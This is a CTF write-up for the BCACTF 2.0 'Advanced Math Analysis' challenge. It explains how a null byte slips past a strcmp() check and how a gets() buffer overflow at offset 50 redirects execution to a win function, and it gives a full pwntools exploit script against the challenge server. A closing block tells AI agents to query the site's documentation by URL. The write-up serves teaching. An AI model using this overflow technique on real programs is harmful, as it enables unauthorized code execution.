# Advanced Math Analysis

## Problem

The advanced course covers the same content as the non-advanced course and then some. Specifically, it also teaches some units on logic and geometry.

Now, I'm personally not the biggest fan of geometry, so I'll spare you from that. But you'll definitely need to spend some time \_logic\_ing this challenge out!

## Solution

This is the same challenge as before, except there is a `strcmp()` check.

```c
char response[50];

setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

...

gets(response);

if (strcmp(response, "i pledge to not cheat")) {
    puts("I'm sorry, but you did not type out the honor pledge.");
    puts("This obviously means that you are a cheater.");
    puts("And we certainly cannot have that.");
    puts("Goodbye.");
    exit(1);
}
```

Win function:

```c
void cheat() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    if (fp == NULL) {
        puts("My bad, I can't find the answers.");
        puts("Oh wait, that's a foodable offense!");
        puts("[If you are seeing this on the remote server, please contact admin].");
        exit(1);
    }

    fgets(flag, sizeof(flag), fp);
    puts(flag);
}
```

Here, my tool wouldn't work due to the `strcmp()` check. `strcmp()` only returns 0 when both strings are equal, so it is checking that our input string is equal to `"i pledge to not cheat"`.

The flaw in this is that `strcmp()` only compares up to the point where either

1. The strings differ, OR
2. A terminating null byte is reached.

In Linux, we can type a null byte using CTRL-\@. This will bypass the `strcmp()` check.

![](/files/-McEVR1zQaKm9as5Ayj6)

Now, using our debugger, we can find the part of the pattern that overwrote the RIP.

![](/files/-McEYxXEo5R1KG8dHejH)

The offset is 50. However, note that this means 50 characters **after** the null byte.

![](/files/-McEZ0bOexEMw5LDSm7h)

Using redare2, we find that the address of the cheat function is 0x00401216.

![](/files/-McEZ61k9gcwgAgXbnVY)

```python
from pwn import *

ret = 0x00401216
offset = 50
payload = b"i pledge to not cheat"
payload += b"\x00"
payload += b"A" * offset
payload += p64(ret)
print(payload)

conn = remote('bin.bcactf.com', 49156)

print(conn.recv())
print(conn.recv())

print("\nSending payload...")
conn.send(payload + b"\n")

print(conn.recv())
print(conn.recv())

conn.close()
```

![](/files/-McEZGpjyXxNYXEdc1Gu)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2021/bcactf-2.0/advanced-math-analysis.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.